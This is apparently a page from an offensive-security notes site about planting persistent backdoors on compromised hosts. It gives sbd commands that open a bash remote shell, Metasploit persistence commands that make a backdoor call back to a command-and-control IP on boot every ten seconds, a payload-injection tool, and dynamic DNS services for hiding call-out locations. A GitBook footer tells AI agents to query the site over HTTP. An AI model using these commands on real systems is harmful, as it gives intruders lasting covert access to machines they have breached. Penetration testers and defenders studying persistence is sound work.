> For the complete documentation index, see [llms.txt](https://www.hackbook.io/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.hackbook.io/persistence/backdoors.md).

# Backdoors

Other than the use of typical shells like those found in "Initial Access"\
\
\
**Secure Backdoor**\
This is a Ncat clone that works with unix and win32. Can also use encryption and whitelists\
\
Listener\
`#sbd -l -p 4444 -e bash -v -n`\
\
Connector\
`#sbd 192.168.1.202 4444`\
\
\
\
\
**Backdoor Factory:**\
Payload injection tool\
<https://github.com/secretsquirrel/the-backdoor-factory>\
\
\
**MSF:**\
Steps:\
1\) Upload back door\
2\) Have it reach out in some fixed interval\
3\) Add to boot programs (win reg, services, schedules, init.d, rc.local)\
\
Via MSF(win):\
meterpreter> `run persistence -h`\ <mark style="color:yellow;">-A</mark> Auto start multi/handler\ <mark style="color:yellow;">-X</mark> Auto start backdoor on boot\ <mark style="color:yellow;">-i</mark> interval to retry egress shell(seconds)\ <mark style="color:yellow;">-p</mark> port to reach out to\ <mark style="color:yellow;">-r</mark> IP of c2 server\
meterpreter> `run persistence -A -X -i 10 -p 8080 -r 192.168.13.12`\
//once we have this all we need to do to reconnect is start the handler and wait 10 seconds.\
\
**Free DNS services for backdoors:**\
We use these rather than IPs so we can be dynamic with our call out location.\
<https://www.zoneedit.com/dynamic-dns/>\
<https://freedns.afraid.org/>\
<http://xname.org/>\
\ <br>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.hackbook.io/persistence/backdoors.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
